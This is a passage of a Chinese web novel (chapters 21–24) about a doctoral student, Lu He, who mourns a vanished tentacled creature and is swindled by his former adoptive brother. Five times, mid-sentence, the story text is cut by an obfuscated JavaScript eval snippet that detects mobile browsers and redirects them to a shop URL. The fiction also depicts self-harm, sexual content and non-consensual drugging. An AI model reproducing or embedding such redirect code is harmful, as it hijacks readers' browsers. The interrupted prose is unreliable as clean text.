祂不见了。 祂,可能永远也不会再出现了。 陆禾缓缓地转过身,整个人侧躺着,缓缓蜷缩起来。 他双手抱着自己的膝盖,本身就清瘦的身量显得更加娇小了一点。 脑袋微微低垂,脸颊埋在枕头里看不清神色,唯一露出的半只眼睛盯着枕巾上的绒毛看了片刻,缓缓闭上。 他不想承认。 但意识到“祂”可能从此从自己的生活里消失的可能性的那一个瞬间。 陆禾觉得自己的心,好像有点空落落的。 * 实验室里充斥着忙忙碌碌的身影。 放在桌面上的光脑震动,弹出来一条消息,是一个没有备注的号码发来的。 陆禾点开红点。 [未知号码:家里没钱了] 陆禾发了个问号过去。 很快有新的消息弹出。 [未知号码:爸妈身体不行了,我每天忙前忙后,你还有没有良心?] 话语里带着浓浓的质问。 而当对方发来“小禾”这个熟悉的称呼时,陆禾闭了闭眼睛,终于意识到了对面的人是谁。 他不知道对方是怎么搞到他的号码的,但是一上来就开口要钱,这似乎不是一个好的征兆。 陆禾本想回复说:我十几年前就已经不是陆家的养子了。 可是面对着那个陌生号码接二连三甩过来的病历单、药费联、手术知情书、病危通知书…… 陆禾没有办法说不。 即使对面已经十数年没有和他联系。 [下周发科研补助后我会打钱过去] [仅此一次] 顿了顿,陆禾又发消息。 [你从哪里搞到了我的号码?] 对面没有再回复。 陆禾盯着面前的虚空,脑子有些乱。 对面的人应该是他曾经的哥哥,陆山。 当年陆禾被陆家收养,对方其实已经有了一个儿子,年龄比他大一点。 但陆山有些跛,而且成绩不好,从小就爱打架,陆氏夫妇年事已高,家里又还有些余钱,就收养了从小就听话成绩好的陆禾。 但后来,生意上出了岔子,陆家没有钱再养这个养子。 但因为收养制度非常完备,所以一开始的陆禾并没有走,也没有人能强制抛弃他。 但后来,他从各种风声里听到越来越多的闲话。 “陆氏夫妇因为他这个多出来的儿子非常辛苦;” “那个陆禾真的好不懂事,读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114859|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的还是不便宜的重点学校;” “陆家连饭都吃不上了,还得养一个不是亲生的儿子;” …… 已经更加成熟和懂事的小陆禾,开始思考自己在这个“家”的意义。 直到他从闲言碎语里,听到了一个叫“拖累”的词。 他开始思考:自己是不是该走了? 现在想来,那时候的陆禾过于大胆,也过于“懂事”了。 但“懂事”,对于当事人来说,往往不是一个好词。 而在陆禾主动解除收养关系并离开那个“家”后,养父母没有来找过他问原因。 估计也是庆幸的。 这也是为什么前几天裴警官在听到陆禾曾经被收养过,但后来解除了收养关系后,明显地流露出了怜惜的情绪。 虽然无法感同身受,但他却能猜到当时不到十岁的小陆禾究竟经历了什么…… “陆学长。” “陆学长?陆学长!” 游离的陆禾终于回过神,轻轻啊了一声,“有什么事吗?” 说完他才看清面前的人是姜荷。 姜荷伸手在他面前晃了晃。 “陆学长,你没什么不舒服吧?” 陆禾摇了摇头,“我没事。” 姜荷的小姐妹压低声音凑近了点。 “陆学长,问你个事呗?” 陆禾报以一个询问的眼神。 “就是,张朗和朱港明的意外,是不是真的和你没关系啊?” 女生说完就被姜荷轻轻拍了一下,她不好意思地笑了笑,“那个,我就问问。” 他抬起头扫视了一圈四周,不少人没反应过来他突如其来的目光,视线有了一瞬间的交错,随即便是略显慌张的匆匆避让和回收。 陆禾知道,姜荷的小姐妹问的,是大多数人的疑惑。 “你们的疑问,警察都询问过。” 陆禾平静地说着,面容映在手边盛满试剂的试管液柱里,显得有些模糊不清,难以探寻。 “而且他们用了测谎仪。” “最先进的那种。” 姜荷跟小姐妹相互对视了一眼。 听起来警方用了很多手段,但结果是陆禾人还在这里。 答案似乎已经呼之欲出。 体面还是要的,两人没有再追问,也没有多留。 走之前,小姐妹还说:“陆学长你放心,我们有机会替你澄清!” 陆禾轻垂了垂眼,像是笑了一下。 22. 第 22 章 人一走,四周顿时变得清净不少,陆禾刚刚说话并没有刻意放低声音,所以周围有几个师弟师妹也是听见了他们的交谈的。 到中午的时候,已经很少有人用异样的眼神悄悄观察他了。 警方用完测谎仪都把人放回来了,他们还有什么好猜测的。 午休的实验室很快就变得人影稀疏,待最后一个记录完实验数据的学弟离开后,就只剩下陆禾一个人了。 他坐在自己的位置上出神,说不清自己在想刚刚陆山发来的消息,还是在想别的什么。 或许都有。 旧人突如其来的造访最能提醒人现在的处境,陆禾突然意识到,现在的自己就像是十几年前从陆家出来,刚解除收养关系一样。 或许曾经拥有过什么。 但最终仍旧落得孑然一身。 桌面下的膝盖碰到了硬物,是陆禾用来存储实验样本的保鲜箱。 他所有的实验样本都会在论文完成后再保留一个月,避免出现需要重复实验但无法还原实验环境的情况。 陆禾目光微顿,突然想起了什么。 死寂的心泛起些许波澜,修长的手指猛地抓住保鲜箱的玻璃门把手上。 视线余光扫到手腕上一圈带着深紫色圆痕的红印,陆禾的动作顿了顿。 他看了一眼走廊外,确定没有其他人,才将玻璃门打开。 陆禾拿出几个培养皿。 培养皿侧面贴了标签,标了对照组1、2、3和里面使用的强弱酸碱试剂类型。 标签时间久了黏性不好,陆禾手指碰了一下就脱落掉在了地上。 但他也没有要捡的意思。 培养皿里的样本如此熟悉,陆禾甚至能想起自己是从当初那一小截触手的哪个部位用哪个角度切下来的。 当初的那截触手活了,却不见了。 而这一点样本还在,却依旧没有焕发出任何生机。 陆禾像是着了魔一样,从旁边摸来一把也不知道干不干净的刀片,手起刀落,划破了自己的掌心。 将手掌用力捏紧,鲜血从拳心的缝隙之中汩汩流出。 培养皿玻璃夹层里的电子元件发出红色的警示光,提示样本发生了污染。 但当事人只是置若罔闻。 他紧紧地盯着那一小截触手切片。 良久。 掌心缓缓松开,陆禾靠在椅背上,脸色苍白地笑了一下。 陆禾突然剧烈地咳嗽起来,胸膛里的气流失控一般乱窜,连同呼吸都没了节奏。 鲜血仍然顺着伤口滴滴答答地往下落,陆禾任凭它淌了一会儿,才拿了块干净纱布随便包扎了一下。 尽管这是他早已预料到的结果。 但这一次,却没有谁轻轻卷着他的手腕,用生涩的话语,让他不要再伤害自己了。 果然。 他还是什么也没有。 陆禾闭了闭眼,起身走出教室。 * 下楼时,陆禾一直无法集中注意力,走路的脚步虚晃,差点踩空。 幸好及时抓住旁边的扶手,才没有直接从台阶高处摔下去。 头顶传来轰一声,声音太大,导致陆禾都忽略了自己疯狂加速的心跳。 他看了一眼,头上是通风管,刚才的声音似乎就是通风管里发出来的。 是共振吗?学校的通风管、水管之类的管道早就老化了,不时就会嗡一声震一下,学生们早就习惯了。 只是平常在实验室里听到的,似乎没有这么大声。 陆禾没多想,定了定心神,继续下楼。 通风管道里血红色弥漫,几根已经扭曲到看不清形状的触手正贴着管道内壁缓慢地蠕动着,腕足上的吸盘失去了节律,不规则地收缩舒张,场面有些令头皮发麻。 一根勉强还能辨认出样子的触手伸到半空,腕足弯了弯,想要打一个圈,像是平日里圈着那段纤瘦的腰肢一般,却也做不到。 通风管道里一阵沉默。 触手用力在管道上砸了一下,发出砰的一声响,吓到了路人。 祂缓缓缩回黑暗之中,触手所过之处,留下一片腥红的黏液。 “陆禾…陆禾……” 阴郁沉闷,像是从渊洞里远远传来的低语回响,带着几乎无法压抑的痛苦。 * 回到宿舍后,陆禾洗了个澡。 他从浴室里带着水汽出来,将身上的水擦干,直接躺上床,打开了他很久没有看过的视频。 人在精神上郁郁寡欢的时候,通常会寻求其他方面的快乐,或者发泄。 有的去锻炼健身,有的暴饮暴食,还有人会喝酒甚至酗酒。 陆禾也有自己的习惯。 映入眼帘的是一片牛奶般的白,肤若凝脂,让人忍不住想象用力在上面留下一个个凹陷的场景。 拍摄者显然很懂观众们想要什么。 于是很快,一双蜜色的有力手臂,就掐上了那纤细柔软的腰肢。 屋内关着灯,身量清瘦的少年倚在枕头上,他挽起袖子时露出的一小截胳膊,甚至比视频里的人还要细腻白嫩。 轻微的呼吸声在夜色里,渐渐显出几分急促。 虽然是一种习惯的发泄方式,但陆禾其实极少做这种事。 他并不是一个需求很强的人,而且因为从小到大的各种困难,他的抗压能力可以说是非常好。 所以他几乎从不通过这种最本能的欢愉来放松自己。 但今天发生的事情太多,已经隐隐超过了他能承受的阈值。 伴随着一声轻微的闷哼,原本弓着的腰背有一瞬间的蜷缩。 随即便是彻底的放松,和涌入大脑的一片空白。 等他从发白的状态回过神的时候,陆禾低头,看见自己空着的另一只手,早已在他自己都没注意到的状态下,扼住了自己的脖颈。 ……… 陆禾闭了闭眼。 不知多久,陆禾终于爬起身。 用卫生纸将自己清理干净,随手把脏污丢进了垃圾篓里,转过头时,丢在一旁的光脑屏幕上,视频还在放着。 蜜色高大宽阔,纯白纤细小巧,前者几乎完全把控着后者,覆盖交融在一起,显得特别漂亮。 陆禾喜欢这样的场景。 当然,他最喜欢这一部的原因是,两个男主的脸都没有出镜。 他似乎从没有喜欢过谁的脸。 将视频关了,陆禾起身去浴室洗澡,迈入浴室门的时候,他轻轻蹙了蹙眉。 虽然结束了,但他好像并没有像以前的每一次那样稍稍缓解了压力。 反而,还有一些不够尽兴的感觉。 但陆禾并不允许自己过度沉湎于这种事,所以他没有多想,走到淋浴下方拧开水阀。温热的水流落下,响起一阵哗哗的响声,自然而然形成的白噪音,松缓了陆禾的神经。 他挤了两泵沐浴露,打算好好清理一下,但涂抹的时候,陆禾轻轻嘶了一声。 低头时才发现,好像有点肿。 是刚刚太激烈了吗? ……不,不是。 是上一次的肿还没完全消。 陆禾猛地意识到,自己刚刚那种“不够尽兴”的感觉是从哪里来的了。 他的身体,居然不知不觉间已经适应,甚至痴迷上了“祂”带来的,各种沉浮飘荡的感觉。 本想做些别的什么让大脑空一空,转移一下注意力。 但最终兜兜转转,思维还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129107|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是回到了同样的事情上。 陆禾无力地按下水阀。 随即便是良久的,直至他昏昏沉沉,彻底睡去的寂静。 咕…啾…… “陆禾…” 咕啾咕啾…… “陆禾…我的陆禾……” 猩红色自墙角而起,逐渐爬满了墙,原本深紫色的触手,此时此刻像是被什么东西绞碎了一般,成了一团血红的烂肉。 祂近乎痴迷地捕捉着空气里残余的气味,从陆禾头顶的天花板一路挪动往下,直到鲜红的丝状肉线在空气中胡乱挥舞,尖端几乎触碰到陆禾的肌肤,才堪堪停下。 “陆…禾……” 祂的声音破碎而模糊,却充满了所有物种都能听出来的渴望。 浓烈的渴望。 血红色的碎肉突然顿了一下,无规则的肉堆突然扭曲起来。 祂的声音陡然变得有些尖锐,发出“嗬嗬”的奇怪哼鸣声,血肉缩成一团,表层接连涌出突起,像是有什么东西要从一层薄膜之中破茧而出。 但良久后,又重新散开,变成原来的模样。 祂发出痛苦的嘶吼。 床上安眠的人发出一声呓语,墙面上的生物顿时安静了一瞬,甚至不断往下延伸的丝状血肉,也下意识地回退了一下。 但陆禾只是单纯地翻了个身而已。 又或者,并不单纯…… 望着被子中央多出来的一个小帐篷,祂明显地顿了顿。 发达的主脑和副脑很快锁定了记忆里的场景,上一次,陆禾被祂的触手弄得像个坏了的水龙头一般的时候,身体也出现了这样的反应。 祂很清楚地记得当时在陆禾的求·饶声里品尝到的味道。 极致的空白与极致的欢·愉。 又响起两声呓语,祂观察了一下底下的人,意识到陆禾应该在做梦。 两根纤细的丝状血肉伸出,一左一右地刺在陆禾的颈侧动脉上。 少量的神经性毒素注入,很快,床铺上的人就轻轻地扭动起来。 陆禾不知道,尽管他用自己做实验,成功猜测出来了许多有关“祂”的各种信息和线索,但在神经性毒素这一方面,他掌握的资料还太少。 不同的剂量产生不同的效果,这一点的确没错。 但还有一点。 只要“祂”想,便可以通过神经性毒素的注入,和触手连接神经元的方式,成功读取到“猎物”脑海里的一切。 包括梦境。 于是当又一次看到蜜色与白色的调和时,“祂”忍不住看了一眼床头放着的,屏幕熄灭了的光脑。 这跟祂刚刚躲在暗处,偷看陆禾自·渎时,余光扫到的视频一模一样。 陆禾又一次意识到,自己应该是在做梦。 因为这个梦他很熟悉,或者说,睡前他刚刚看过。 只不过这一次,他从旁观视角,变成了主视角。 当他低下头,视线在腰侧看到那只用力抓紧导致血管贲张的大手时,他整个人哆嗦了一下。 身体被抱紧,陆禾被迫直起身。 手掌托起他的下巴,覆盖上唇。 温凉的。 不是热的。 陆禾缓缓睁开眼,震惊地发现面前的男人,居然逐渐开始有了脸。 只是还没等他仔细将人的模样看清楚…… 他看见几根深紫色的触手,从男人背后破开皮肤,伸展出来。 陆禾猛地惊醒。 眼神直勾勾地盯着天花板,五感逐渐回笼,却并没有注意到一阵很快消失的窸窸窣窣声。 因为他的注意力另有所处。 刚刚他在空气里,精准地捕捉到了一丝还没来得及散去的,淡淡的腥甜味。 23. 第 23 章 [根据目前对K-13星球样本的各项测试及实际观察,其体内化学元素种类与人体高度相似,但推测占比不同。] [从生物表征分析,K-13星球样本所代表的物种可通过触手数量判断其生长周期……] [……以人类体·液喂食,包括血液、汗液、津液及……] 陆禾顿了顿,压制下心中泛起的轻微波澜,敲下了最后一个词。 做完这一切,他长舒了一口气,坐在位置上伸了个懒腰。 很久没有这么专心地做科研了,这种久违的感觉实在有些太好。 他活动了一下自己发酸的手腕,看了一眼光脑屏幕右下角状态栏上的时间。 今天是“祂”消失的第九天。 陆禾总算从那种有些轻微浑噩的状态里走了出来,开始将一切重新挪回正轨。 他刚刚将这些天所有记下来的零散结论按照规整的实验报告框架整理了一遍,做了一下文档加密和封存,移到了一个名为“结束”的文件夹里。 陆禾重新理顺了一下自己手里有的文献和实验数据。 既然“祂”已经消失了这么久,大概率,或者说是肯定不会回来了。 而接受了这个事实的陆禾,唯一的选择就是重新调整自己的博士论文选题,再跟导师重新开题,设计实验和写论文。 虽然时间肯定是来不及,但是首都大学的延毕不是直接延毕一年,而能够以三个月为周期,逐渐递延往后。 陆禾预估了一下,延毕三个月他应该可以勉强完成自己的博士论文。 找工作他并不发愁,首都大学的博士生还是有一定含金量的,他可以走人才落户,起码以后的基本生活肯定有保障。 “陆学长,我可以请教一个问题吗?”一个学弟抱着一沓实验材料跑了过来,很小声地说,“我的实验设计改了好多次,感觉都没有错,但是实验结果每次都很奇怪。” 陆禾伸手接过他的资料,“别急,我看看…嗯,你的方法和方案框架整体都还不错,但是对照设计这里,可以用这样的思路……” 他边说边抽了张空白的A4纸,简单几笔给学弟画了个实验设计草案。 原本被写得很复杂的实验思路,在他三两句的抽丝剥茧下,变得清晰明了,甚至把后面的几章内容都一并规划好了。 学弟脑袋点得像小鸡啄米,末了,他抱着自己的资料,手忙脚乱地把折出来的内页重新收回去,不停地说:“谢谢陆学长,我知道怎么改了。” 陆禾看他眼睛都有些红红的,就安慰了一句。 “没事的,科研都有这个过程,你才大三,慢慢就好了。” 学弟吸了吸鼻子,重重点头,“陆学长,你真好。” 人刚走,陆禾就看到姜荷笑着走了过来。 “陆学长,你感觉小贺怎么样?” 小贺是刚刚那个学弟,全名贺帆钊,别看他刚刚眼睛红红的很可怜,但本人是个一米八五的大高个。 刚刚弯着腰跟陆禾请教的时候,像极了一只委屈巴巴的大型犬,是很多小男生的菜。 陆禾重新切分了一下之前收集的文献,分门别类整理为还可以继续使用的和后面用不到的。 一边拖曳着文档,他一边道:“什么怎么样?” 相处久了,陆禾觉得跟姜荷还是挺聊得来的,两人这段时间也相处成了朋友,没有刚开始那么拘束。 姜荷轻轻眨了眨眼睛,“你没看出小贺对你有意思吗?” 陆禾一愣。 “啊?” 他抬起头的时候,看到贺帆钊正看着自己,双方目光对上,后者立刻转回了头。 但红意却从耳朵蔓延到了脖子。 陆禾没有说话,而是不带其他思绪地收回目光。 “不感兴趣?”姜荷的表情有些意外,说,“小贺挺帅的诶,他们这届的院草。” 陆禾听她这么说,才意识到自己刚刚扫过去的那一眼甚至没记住贺帆钊的样子,但是大脑大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137353|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概判断了一下,他就得出了结论。 “不是我的菜。” 姜荷惊讶。 陆禾笑了笑,没有恶意地又打量了一下贺帆钊。 皮肤太白,没有比较明显的肌肉线条,还缺点陆禾比较喜欢的“野性”。 这几天陆禾也没闲着。 反而还有点纵·欲。 各种各样漂亮的身材他都见过了,也正是因为如此,陆禾更确定了自己的取向。 皮肤要比他黑一点的,这样对比起来特别刺激神经; 肌肉要稍微明显的,他太瘦了; 然后最好要野性一点的,咳…… 再说回来,这几天陆禾总是在追求释放后大脑空白,什么也不想的感觉,现在想来或许也是在麻痹自己。 每次他结束后,都会把自己的脖子掐得有些红,但还是觉得差点。 每天晚上还会在梦里继续梦到些奇怪的事情……而且,陆禾莫名觉得,梦境里每次从身后搂上他腰的那个人,五官好似愈发清晰了。 ……是错觉吧? 陆禾心想,自己是不是有些过度了,睡前都解决过了,梦里还从不休止。 但睡得倒是很沉,每天早上醒来,脖子两侧还有些酸疼。 姜荷道:“那陆学长喜欢什么样的,我给你留意下?” 陆禾挑了挑唇角,摇头。 不是没有。 是不知道。 但真的不知道吗? 陆禾觉得,在姜荷问刚刚那句的时候,他脑海里闪过的,似乎是梦中的那个身影。 那个背上有触手,会从后方紧紧抱着他,掐着他脖颈强迫他抬高下巴,凶狠地咬他嘴唇的男人。 当时陆禾清晰地看到两人截然相反的肤色,深蜜的肌肤上仿佛还有暗金色的纹路,衬得更加野性,凶猛,也对比得他自己,干净而又脆弱…… 陆禾吞咽了一下,脚掌踩着地面,将座椅往前拖了一点。 有点起反应了。 24. 第 24 章 “陆学长,陆学长!” 脚步声追上陆禾,他转过头时,看到脸色发红的贺帆钊跑到自己身边。 陆禾问他是不是有什么事情。 “学长,我们可以一起去食堂吗?”贺帆钊眼睛亮亮的,他说,“我还想请教一些你科研上的事情。” 请教科研吗? 完全没多想的陆禾点了点头,“可以。” 贺帆钊的眼睛弯了弯,果然,陆学长看着疏离,但心思很单纯呢。 两人一同下了楼,贺帆钊的眼睛悄悄追着陆禾的侧脸看。 五官立体但清秀柔和,一双微微低垂的眉眼让陆禾看起来非常值得怜惜,雪白细腻的肤色更是把人衬得像只瓷娃娃,轻松就可以握在掌心之中把玩。 贺帆钊的笑容大了一点。 “陆……” 就在他开口想要说话的时候,头顶突然传来轰的一声。 像是一声惊雷在头顶炸开,又像是有什么东西愤怒地砸了一下他的后脑勺,贺帆钊惊得抬起头。 却什么也没有。 陆禾看了一眼,道:“应该是通风管老化的声音。” 贺帆钊“哦!”了一声,看着陆禾,“陆学长你真厉害。” 陆禾还没说话,通风管又轰轰轰地响了起来。 今天怎么这么大声?陆禾又抬头看了一眼,也没有对贺帆钊的夸奖做出什么反应,继续下了楼。 贺帆钊一路跟着陆禾,在去食堂的路上,他一直在说话。 从几个食堂哪个窗口的什么菜好吃,说到家里的阿姨最擅长做的是川菜和本帮菜,但他父亲最近想请个做粤菜的厨师…… 陆禾没怎么回应,他也不觉得尴尬,像是有用不完的能量和说不完的话。 但陆禾实在没法接他的话头。 对方的生活离他太过遥远,不说家里请不同菜系的厨师了。 陆禾连他说的食堂里那几个好吃的窗口都没吃过。 太贵了。 “陆学长。”贺帆钊自己的事情说的差不多了,他看陆禾,“你家里人是做什么的呀?好像都没听你提过。” 校道上原本干爽凉快的秋风,有了一瞬的凝滞。 陆禾看了对方一眼,后者的眼睛里装满了纯净到极点的好奇和无知。 贺帆钊刚进师门,很多事情根本不知道,自然也不像其他同学那样清楚陆禾的家境。 陆禾抿了抿唇,道:“我没有家。” “……呃,啊?”贺帆钊张了张嘴,明白过来陆禾意思的他,忙不迭地低头道歉,“抱歉陆学长,我不是故意的。” 陆禾摇头表示他理解。 对于自己的实际情况,他早就在不到十岁的时候就接受并习以为常了。 但他也没有察觉到,在自己将家世情况和盘托出后,贺帆钊明显犹豫和淡了点的态度。 或者说,陆禾本身也不在乎。 反而这样不说话的模式,对他来说更舒服一些。 但这份舒服只持续到他们走到食堂门口。 当一个十分陌生的声线喊出他的名字的时候,陆禾的第一反应是不是对方叫错了。 但在陆禾看清来人,后者伸手指着自己头顶额角的那个伤疤的时候,陆禾直接愣得站在了原地。 贺帆钊连续喊了他三次,他都没有听见。 “陆学长?”贺帆钊看了看陆禾,又看了看食堂门口插着口袋,流里流气像个混混的矮胖子,“这是谁啊?” 就听那矮胖子呵呵笑了一声,露出一口烟酒过度留下不少黑黄印记的乱糟糟的牙齿。 “怎么,小禾长大了,连哥哥都不认得了?” 陆禾抿了抿唇。 见他不说话,也没否认,贺帆钊的眼神闪烁了几下。 他不敢置信地道:“陆学长,这,这个是你哥哥?” 他又将两人对比了一遍,不论从外形气质,还是谈吐内涵,又或者其他什么,陆禾跟眼前这个男人看上去,根本没有一丝联系。 但贺帆钊再不相信,现实就是现实。 陆禾沉默了一下,道:“曾经是。” “曾经?”矮胖子高声惊呼,指着陆禾,“你这个小没良心的,当年我们家收养你,供你吃住那么久,你还能不认吗!” “陆山!”陆禾出言打断,“你来我学校究竟想干什么?” 他紧握着的双手都在抖。 从上周开始,陆山莫名其妙地弄到了陆禾的通讯号码,接着每隔一两天,便以“陆家曾经收养过你,现在到你回报的时候了”的名义,跟陆禾要了三四次钱。 陆禾不清楚对方是怎么知道自己的号码的,但是面对着陆山发来的高昂费用单,以及依稀可以辨别出年轻时五官轮廓的养父母躺在病床上命悬一线的照片时,陆禾做不到无动于衷。 但陆山今天为什么会出现在学校里? 感受到剑拔弩张的气氛,又是亲眼所见陆禾的“原生家庭”究竟是怎样的情况,贺帆钊沉默不语许久,最后丢下一句。 “那个,陆学长,那我就先吃饭去了,你们兄弟俩慢聊。” 他本来还在犹豫究竟要不要放弃门第偏见,追求外表漂亮的陆禾,但现在看来,如果真把人追到手了,陆禾的家世将会带来数不尽的麻烦。 贺帆钊从实验室赶到楼梯口时追得有多急,现在跑得就有多快。 陆山的眼睛贼溜溜地盯着贺帆钊的背影,男生的穿用明显家境富裕,刚刚对方盯着陆禾看的眼神他也注意到了。 “小禾,那是你姘头?”他舔了舔唇,眼里是不加掩饰的算计,“你俩到什么地步了,他平时给你零花钱吗?” 陆禾的拳头捏紧,他看似冷静的眼神底下是不再沉寂的波澜。 盯着面前的人,他质问道:“陆山,你究竟想做什么?” 陆山摸了摸自己的裤子口袋,将空荡荡的布兜翻出来。 “没钱了。” 陆禾皱眉看着陆山,下意识地道:“我不是上周才给你打了几千块……” 等等。 他看着面前满脑肠肥的陆山。 想起之前对方跟他要钱时的理由。 爸生病了、妈住院了、请护工没钱了…… 在陆山的消息里,他每天忙前忙后,脚不沾地,连饭也吃不上,说得自己劳心劳力,面黄肌瘦。 怎么可能是现在这个样子? 察觉到了什么的陆禾翻出自己的光脑,打开陆山发给他的各种费用清单看了一眼。 “为什么会是两年前的单子?”陆禾快步上前,质问道,“爸妈呢?他们到底怎么样了!” 陆山一挑眉,看着已经比自己高了点的陆禾。 眼睛大而圆,焦急的时候还有点泪光,皮肤嫩得能掐出水来,五官长开后,出落得比小时候更漂亮了。 他无所谓地道:“还能怎么样,都是两年前的事情了。” 陆山没有直说,但答案呼之欲出。 陆禾抓着陆山衣领的手抖了一下,控制不住后退半步。 虽然他仅仅只被陆家收养了一年,但是陆氏夫妇对他还是十分关爱的,并没有因为是养子,就故意区别对待。 陆禾不是不记恩情的人,尽管后来陆家境况不好,他离开后陆氏夫妇也没有将他追回来,但那种情况下,陆禾可以理解,也不会因此记恨。 但陆山现在却告诉他,两人早就死了。 他甚至不知道是什么时候的事情。 陆禾注意到陆山的口袋里还有几枚花花绿绿的东西,他在几个富二代学弟那里看过,是附近的地下赌·场流通的筹码。 所以陆山说没钱是真的,但是不是为了给父母治病。 而是赌·钱赔光了! 陆禾有些愤怒,不仅愤怒陆山骗他的钱,而且更愤怒的是对方在陆氏夫妇临死之前,居然没有想过要告诉他一声。 虽然只是一起生活了一年,但陆禾真心实意地把对方当作父母,也觉得两人是真地把自己当成了儿子。 “把钱还给我。”陆禾说。 他不会把钱给一个赌徒。 陆山睁大眼睛,冲陆禾指指点点:“小禾,你这话说得就不对了,爹妈病危的时候你也没出钱出力,全是我在忙。” “现在你总该付出点什么吧,好歹我们陆家养了你一段时间呢。” 陆禾算是明白了,这人就是来无理取闹的。 他不愿在陆山这样的人身上多花时间,想直接走,但后者却横跨了一步,挡住了他的去路。 “你什么意思?”陆禾问。 陆山一耸肩,死皮赖脸地笑道:“你哥没钱了。” “你不是我哥。”陆禾认真且不留情面地跟面前的人划清了界线,“从十八年前我离开陆家的那一刻,我就不再是你们家的养子,也不是你的弟弟了。” “诶,走什么!”陆山伸手抓住了陆禾的胳膊,他虽然矮,但一身脂肪和横肉,力气可比陆禾大得多。 肥硕的手指掐着陆禾的腕骨,陆山下意识地搓了搓手心里的肌肤,一挑眉。 可真嫩啊。 “陆山你干什么!”陆禾只觉得头皮一阵恶心的发麻感,“放开我!” 陆山猥琐地笑道:“你真以为当初爹妈收养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14151363|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你是当儿子啊?告诉你,要不是当年你跑了,现在你就是我媳妇儿,你赚的钱都得伺候我,哪有你在这耍横的份儿!” 陆禾动作一顿,他花了几秒钟,理解了陆山的话。 整个人呆立当场,连陆山捏了一把他的手臂,陆禾都不知道。 被抓着的手开始微微颤抖。 陆禾声音哆嗦着,冲陆山道:“……你刚刚那话,是什么意思?” 陆山猥琐地舔了舔唇。 “想知道?” 他充满暗示地指了指自己的口袋,又搓搓手指。 * 陆禾的卡里,只剩下一点勉强能支撑到下次发科研补助的钱。 换做平时,他已经焦虑到思考如何找点兼职多赚些零钱,免得有意外情况需要用钱的时候青黄不接。 但现在陆禾没有任何力气思考。 他回到宿舍,整个人像被抽了骨头似地直接坐到了床上。 脸色发白地缩成一团,瘦瘠的背影看上去比往日更加孤独。 而陆禾此刻,从大脑到胸膛里的那颗心,全都是空空的。 像是被人狠狠掏了一把,什么血肉也不剩下,唯有被撕扯得破碎的痛苦。 为什么。 “为什么……”陆禾呜咽出声。 刚刚,他用自己攒了大半年的钱,从陆山那里换回来了一个令他窒息的消息。 或者更准确地说,应该是真相。 一直以来,陆禾吃了很多苦,造就了他与人群较为疏离的性格。 但对于养育过他的养父母,还有曾经照顾过他的哥哥陆山,也就是陆氏一家人,他是真的当作亲人来看的。 当初陆家情况不好,几人也没有给过陆禾脸色逼他离开,收养关系也是陆禾主动解除的。 但陆禾永远记得,陆氏夫妇曾经给过他一整年无微不至的关爱,给过他一场从未奢望过的庆生宴会。 而当初那个对外凶巴巴,对他却耐心的哥哥陆山,曾为了他跟一群对他动手动脚的小混混起了冲突,跛着脚也要一个跟三个人打架,才留下了额头上的那个伤疤。 陆禾把他们当自己的至亲,当成自己真正的家人。 但刚刚陆山说,这一切都是他自己一厢情愿的幻想。 从陆禾被接回家里的第一天开始,陆山就从父母那里听到叮嘱。 “小禾以后长大了,是要嫁给你的。” 而当时陆家到处传到陆禾耳朵里的风言风语,其实也是陆氏夫妇故意为之。 为的是让他记得陆家的好。 即使以后陆山跛着脚,找不到工作,陆家没落了,那成绩好又有前途的陆禾,可以作为陆山的童·养·媳,嫁给他,伺候他一辈子,那他们两夫妻即使驾鹤西去了,也能放心。 没成想陆禾太乖,听完那些话觉得自己成了拖累,居然主动离开了。 视若珍宝,藏在内心最深处的记忆和美好,原来只是一场自己人为粉刷过的虚幻泡影。 他还曾想过,要是以后博士毕业了,工作顺利,就把陆氏夫妇接来一起住。 那个时候,他们四个还是一家人,还能够和和美美地幸福生活。 陆禾从未跟其他人说过这个小小的梦想。 他怕实现不了,更怕说出来了,愿望就不灵验了。 